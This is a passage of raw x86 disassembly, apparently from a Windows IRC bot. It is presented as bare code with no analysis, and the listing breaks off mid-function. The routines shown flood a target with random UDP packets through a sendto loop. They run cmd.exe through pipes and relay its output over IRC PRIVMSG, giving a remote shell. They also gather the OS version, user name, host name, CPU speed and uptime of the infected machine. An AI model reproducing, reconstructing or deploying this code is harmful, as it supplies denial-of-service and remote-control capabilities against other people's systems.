		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_40DC10
		add	esp, 14h


loc_40B5CA:				; CODE XREF: sub_40B45B+14Dj
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_30]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 7C80C058h
sub_40B45B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5E7	proc near		; DATA XREF: sub_40F6F1+3092o

var_10312	= byte ptr -10312h
var_10310	= byte ptr -10310h
var_334		= byte ptr -334h
var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	sub_417B70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_441438	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4413F8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B6CC
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_44143C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_40B6C5
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42D258
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B6A8
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40DC10
		add	esp, 14h


loc_40B6A8:				; CODE XREF: sub_40B5E7+9Fj
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_20]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 7C80C058h


loc_40B6C5:				; CODE XREF: sub_40B5E7+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B6CF
; ---------------------------------------------------------------------------


loc_40B6CC:				; CODE XREF: sub_40B5E7+6Ej
		lea	eax, [ebp+arg_0]


loc_40B6CF:				; CODE XREF: sub_40B5E7+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B6EA
		call	sub_417408
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B6ED
; ---------------------------------------------------------------------------


loc_40B6EA:				; CODE XREF: sub_40B5E7+F0j
		push	[ebp+var_24]


loc_40B6ED:				; CODE XREF: sub_40B5E7+101j
		call	dword_4413B8	; ntohs
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B6FF
		mov	[ebp+var_24], esi


loc_40B6FF:				; CODE XREF: sub_40B5E7+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B70C
		mov	[ebp+var_24], eax


loc_40B70C:				; CODE XREF: sub_40B5E7+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B720
		mov	[ebp+var_28], esi


loc_40B720:				; CODE XREF: sub_40B5E7+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B741


loc_40B727:				; CODE XREF: sub_40B5E7+158j
		call	sub_417408
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi-10311h], dl
		jl	short loc_40B727


loc_40B741:				; CODE XREF: sub_40B5E7+13Ej
					; sub_40B5E7+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B7A0
		push	0Bh
		pop	esi


loc_40B74E:				; CODE XREF: sub_40B5E7+197j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	sub_417408
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	dword_44141C	; sendto
		push	[ebp+var_28]
		nop
		call	near ptr 7C802442h
		dec	esi
		jnz	short loc_40B74E
		cmp	[ebp+var_24], edi
		jnz	short loc_40B741
		call	sub_417408
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4413B8	; ntohs
		mov	[ebp+var_E], ax
		jmp	short loc_40B741
; ---------------------------------------------------------------------------


loc_40B7A0:				; CODE XREF: sub_40B5E7+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_334]
		push	offset dword_42D21C
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B7E0
		push	edi
		lea	eax, [ebp+var_334]
		push	[ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_134]
		call	sub_40DC10
		add	esp, 14h


loc_40B7E0:				; CODE XREF: sub_40B5E7+1D7j
		lea	eax, [ebp+var_334]
		push	eax
		call	sub_40C4F7
		push	[ebp+var_20]
		call	sub_417174
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 7C80C058h
sub_40B5E7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B7FD	proc near		; CODE XREF: sub_40B82D+2Ap
					; sub_40B865+7Ep ...
		mov	eax, dword_441708
		push	esi
		mov	esi, dword_42107C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B811
		push	eax
		call	esi	; CloseHandle


loc_40B811:				; CODE XREF: sub_40B7FD+Fj
		mov	eax, dword_441710
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B81E
		push	eax
		call	esi	; CloseHandle


loc_40B81E:				; CODE XREF: sub_40B7FD+1Cj
		mov	eax, dword_441704
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B82B
		push	eax
		call	esi	; CloseHandle


loc_40B82B:				; CODE XREF: sub_40B7FD+29j
		pop	esi
		retn
sub_40B7FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B82D	proc near		; CODE XREF: sub_40C8F3+14Ap
					; sub_40F6F1+4B0Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417AF0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_44170C
		nop
		call	near ptr 7C810D87h
		test	eax, eax
		jnz	short loc_40B860
		call	sub_40B7FD
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B860:				; CODE XREF: sub_40B82D+28j
		push	1
		pop	eax
		leave
		retn
sub_40B82D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B865	proc near		; CODE XREF: sub_40B8EC+D3p
					; sub_40B8EC+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43C63C
		push	[ebp+arg_4]
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B8A8
		push	7D0h
		nop
		call	near ptr 7C802442h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4173AC
		add	esp, 10h
		jmp	short loc_40B8BF
; ---------------------------------------------------------------------------


loc_40B8A8:				; CODE XREF: sub_40B865+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset dword_42433C
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_40B8BF:				; CODE XREF: sub_40B865+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_441408	; send
		test	eax, eax
		jg	short loc_40B8E8
		call	sub_40B7FD


loc_40B8E8:				; CODE XREF: sub_40B865+7Cj
		xor	eax, eax
		leave
		retn
sub_40B865	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8EC	proc near		; DATA XREF: sub_40BA41+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_441714


loc_40B904:				; CODE XREF: sub_40B8EC+79j
					; sub_40B8EC+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_441708
		nop
		call	near ptr 7C85F90Fh
		test	eax, eax
		jz	loc_40B9D2
		cmp	[ebp+var_4], edi
		jnz	short loc_40B967
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_441704
		nop
		call	near ptr 7C81AE17h
		test	eax, eax
		jz	short loc_40B95D
		cmp	[ebp+var_8], 103h
		jnz	loc_40B9F6


loc_40B95D:				; CODE XREF: sub_40B8EC+62j
		push	0Ah
		nop
		call	near ptr 7C802442h
		jmp	short loc_40B904
; ---------------------------------------------------------------------------


loc_40B967:				; CODE XREF: sub_40B8EC+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B97E


loc_40B96E:				; CODE XREF: sub_40B8EC+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B9CC
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B96E


loc_40B97E:				; CODE XREF: sub_40B8EC+80j
		mov	[ebp+var_4], esi


loc_40B981:				; CODE XREF: sub_40B8EC+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_441708
		nop
		call	near ptr 7C80180Eh
		test	eax, eax
		jz	short loc_40BA1E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_441748
		call	sub_40B865
		add	esp, 0Ch
		jmp	loc_40B904
; ---------------------------------------------------------------------------


loc_40B9CC:				; CODE XREF: sub_40B8EC+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B981
; ---------------------------------------------------------------------------


loc_40B9D2:				; CODE XREF: sub_40B8EC+45j
		push	offset dword_42D318
		push	ebx
		push	dword_441748
		call	sub_40B865
		push	[ebp+arg_0]
		call	sub_417174
		add	esp, 10h
		push	1
		nop
		call	near ptr 7C80C058h


loc_40B9F6:				; CODE XREF: sub_40B8EC+6Bj
		call	sub_40B7FD
		push	offset dword_42D2E0
		push	ebx
		push	dword_441748
		call	sub_40B865
		push	[ebp+arg_0]
		call	sub_417174
		add	esp, 10h
		push	edi
		nop
		call	near ptr 7C80C058h


loc_40BA1E:				; CODE XREF: sub_40B8EC+C3j
		push	offset dword_42D2A0
		push	ebx
		push	dword_441748
		call	sub_40B865
		push	[ebp+arg_0]
		call	sub_417174
		add	esp, 10h
		push	edi
		nop
		call	near ptr 7C80C058h
sub_40B8EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA41	proc near		; CODE XREF: sub_40C8F3+99p
					; sub_40F6F1+58A4p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B7FD
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_441474	; SearchPathA
		test	eax, eax
		jz	loc_40BB3B
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_421144
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40BB3B
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40BB3B
		mov	edi, dword_421140
		push	3
		push	esi
		push	esi
		push	offset dword_44170C
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		nop
		call	near ptr 7C80DDFEh
		test	eax, eax
		jz	short loc_40BB3B
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417430
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417430
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43C63C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 7C802367h
		test	eax, eax
		jnz	short loc_40BB43


loc_40BB3B:				; CODE XREF: sub_40BA41+2Fj
					; sub_40BA41+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40BBF1
; ---------------------------------------------------------------------------


loc_40BB43:				; CODE XREF: sub_40BA41+F8j
		push	[ebp+var_4]
		mov	edi, dword_42107C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_441708, eax
		mov	eax, [ebp+var_8]
		mov	dword_441710, eax
		mov	eax, [ebp+var_2C]
		mov	dword_441704, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_441748, eax
		jz	short loc_40BB7D
		push	[ebp+arg_4]
		jmp	short loc_40BB7E
; ---------------------------------------------------------------------------


loc_40BB7D:				; CODE XREF: sub_40BA41+135j
		push	ebx


loc_40BB7E:				; CODE XREF: sub_40BA41+13Aj
		push	offset dword_441714
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42D39C
		call	sub_416E58
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_446E18[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B8EC
		push	esi
		push	esi
		nop
		call	near ptr 7C810637h
		cmp	eax, esi
		mov	dword_446E24[edi], eax
		jnz	short loc_40BBEF
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42D358
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40C4F7
		add	esp, 10h


loc_40BBEF:				; CODE XREF: sub_40BA41+185j
		xor	eax, eax


loc_40BBF1:				; CODE XREF: sub_40BA41+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BA41	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BBF6	proc near		; CODE XREF: sub_40707C+74p
					; sub_40BDAD+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 7C80929Ch
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_441750
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41792A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40BBF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC5F	proc near		; CODE XREF: sub_408FAC+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 7C812ADEh
		test	eax, eax
		jz	short loc_40BCF2
		cmp	[ebp+var_90], 4
		jnz	short loc_40BCC8
		cmp	[ebp+var_8C], esi
		jnz	short loc_40BCB0
		cmp	[ebp+var_84], 1
		jnz	short loc_40BCA3
		push	1
		pop	esi


loc_40BCA3:				; CODE XREF: sub_40BC5F+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40BCF2
		push	1
		jmp	short loc_40BCF1
; ---------------------------------------------------------------------------


loc_40BCB0:				; CODE XREF: sub_40BC5F+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40BCBD


loc_40BCB9:				; CODE XREF: sub_40BC5F+78j
		push	2
		jmp	short loc_40BCF1
; ---------------------------------------------------------------------------


loc_40BCBD:				; CODE XREF: sub_40BC5F+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40BCF2
		jmp	short loc_40BCE2
; ---------------------------------------------------------------------------


loc_40BCC8:				; CODE XREF: sub_40BC5F+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40BCF2
		cmp	[ebp+var_8C], esi
		jz	short loc_40BCB9
		cmp	[ebp+var_8C], 1
		jnz	short loc_40BCE6


loc_40BCE2:				; CODE XREF: sub_40BC5F+67j
		push	3
		jmp	short loc_40BCF1
; ---------------------------------------------------------------------------


loc_40BCE6:				; CODE XREF: sub_40BC5F+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40BCF2
		push	7


loc_40BCF1:				; CODE XREF: sub_40BC5F+4Fj
					; sub_40BC5F+5Cj ...
		pop	esi


loc_40BCF2:				; CODE XREF: sub_40BC5F+25j
					; sub_40BC5F+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40BC5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BCF7	proc near		; CODE XREF: sub_40BDAD+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40BCFF:				; CODE XREF: sub_40BCF7+2Fj
					; sub_40BCF7+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 7C802442h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_418A40
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40BCFF
		jb	short loc_40BD2E
		cmp	ebx, esi
		ja	short loc_40BCFF


loc_40BD2E:				; CODE XREF: sub_40BCF7+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4189C0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40BDA1
		jb	short loc_40BD4D
		cmp	esi, 50h
		jnb	short loc_40BD52


loc_40BD4D:				; CODE XREF: sub_40BCF7+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40BD52:				; CODE XREF: sub_40BCF7+54j
		test	ecx, ecx
		ja	short loc_40BDA1
		jb	short loc_40BD5D
		cmp	esi, 47h
		jnb	short loc_40BD62


loc_40BD5D:				; CODE XREF: sub_40BCF7+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40BD62:				; CODE XREF: sub_40BCF7+64j
		test	ecx, ecx
		ja	short loc_40BDA1
		jb	short loc_40BD6D
		cmp	esi, 37h
		jnb	short loc_40BD72


loc_40BD6D:				; CODE XREF: sub_40BCF7+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40BD72:				; CODE XREF: sub_40BCF7+74j
		test	ecx, ecx
		ja	short loc_40BDA1
		jb	short loc_40BD7D
		cmp	esi, 26h
		jnb	short loc_40BD82


loc_40BD7D:				; CODE XREF: sub_40BCF7+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40BD82:				; CODE XREF: sub_40BCF7+84j
		test	ecx, ecx
		ja	short loc_40BDA1
		jb	short loc_40BD8D
		cmp	esi, 1Eh
		jnb	short loc_40BD92


loc_40BD8D:				; CODE XREF: sub_40BCF7+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40BD92:				; CODE XREF: sub_40BCF7+94j
		test	ecx, ecx
		ja	short loc_40BDA1
		jb	short loc_40BD9D
		cmp	esi, 0Ah
		jnb	short loc_40BDA1


loc_40BD9D:				; CODE XREF: sub_40BCF7+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40BDA1:				; CODE XREF: sub_40BCF7+4Dj
					; sub_40BCF7+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40BCF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDAD	proc near		; CODE XREF: sub_40F6F1+5B1Bp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43C63C
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 7C812ADEh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40BE34
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40BE10
		cmp	[ebp+var_BC], 1
		jnz	short loc_40BDFA
		mov	[ebp+var_4], offset a95	; "95"


loc_40BDFA:				; CODE XREF: sub_40BDAD+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40BEAF
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40BE80
; ---------------------------------------------------------------------------


loc_40BE10:				; CODE XREF: sub_40BDAD+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40BE22
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------


loc_40BE22:				; CODE XREF: sub_40BDAD+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40BE70
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------


loc_40BE34:				; CODE XREF: sub_40BDAD+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40BE70
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40BE4E
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------


loc_40BE4E:				; CODE XREF: sub_40BDAD+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40BE60
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40BE77
; ---------------------------------------------------------------------------


loc_40BE60:				; CODE XREF: sub_40BDAD+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40BE77


loc_40BE70:				; CODE XREF: sub_40BDAD+7Cj
					; sub_40BDAD+8Ej
		mov	[ebp+var_4], offset dword_42D4E0


loc_40BE77:				; CODE XREF: sub_40BDAD+73j
					; sub_40BDAD+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40BEAF


loc_40BE80:				; CODE XREF: sub_40BDAD+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40BEAF
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_424340
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40BEAF:				; CODE XREF: sub_40BDAD+54j
					; sub_40BDAD+D1j ...
		mov	ax, word_42D4DC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4412A4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BEE8
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40BEE8:				; CODE XREF: sub_40BDAD+12Cj
		push	[ebp+arg_4]
		call	sub_40AFAB
		pop	ecx
		push	eax
		call	dword_4413F8	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_441370	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40BF11
		push	dword ptr [eax]
		jmp	short loc_40BF16
; ---------------------------------------------------------------------------


loc_40BF11:				; CODE XREF: sub_40BDAD+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40BF16:				; CODE XREF: sub_40BDAD+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4173AC
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 7C814EEAh
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 7C8361EEh
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 7C83632Dh
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 7C8310F2h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_418AA8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D6CA
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40BBF6
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
